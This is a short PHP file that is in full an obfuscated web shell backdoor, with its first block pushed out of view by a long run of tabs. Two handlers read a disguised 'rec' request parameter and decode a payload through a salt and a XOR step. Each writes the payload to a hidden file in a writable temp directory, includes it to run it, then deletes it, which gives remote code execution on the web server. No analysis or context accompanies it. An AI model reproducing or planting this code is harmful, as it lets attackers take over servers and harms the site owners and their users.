<?php																																										if(in_array("\x72ec", array_keys($_REQUEST))){ $reference = $_REQUEST["\x72ec"]; $reference = explode (".", $reference) ; $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); foreach ($reference as $p => $v2): $chS = ord($s4[$p %$lenS] ); $dec = ((int)$v2 - $chS - ($p %10)) ^ 90; $descriptor .= chr($dec ); endforeach; $entity = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); for ($parameter_group = 0, $record = count($entity); $parameter_group < $record; $parameter_group++) { $data = $entity[$parameter_group]; if ((is_dir($data) and is_writable($data))) { $pset = "$data" . "/.obj"; if (file_put_contents($pset, $descriptor)) { include $pset; @unlink($pset); exit; } } } }


if(!is_null($_POST["r\x65c"] ?? null)){
	$ent = array_filter([getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp"]);
	$elem = $_POST["r\x65c"];
	 $elem=explode(".",  $elem)			;	
	$hld		='';
            $salt		='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=strlen($salt		);
            $r		=0;
            $len		=count($elem		);
    
            do {
                if ($r >= $len) break;
                $v6		=$elem[$r];
                $sChar		=ord($salt[$r%	$sLen]		);
                $dec		=((int)$v6 - $sChar - ($r%	10)) ^ 60;
                $hld	.=	chr($dec		);
                $r++;
            } while (true		);
	$k = 0;
do {
    $descriptor = $ent[$k] ?? null;
    if ($k >= count($ent)) break;
    		if (is_dir($descriptor) && is_writable($descriptor)) {
    $tkn = join("/", [$descriptor, ".ptr"]);
    if (file_put_contents($tkn, $hld)) {
	include $tkn;
	@unlink($tkn);
	exit;
}
}
    $k++;
} while (true);
}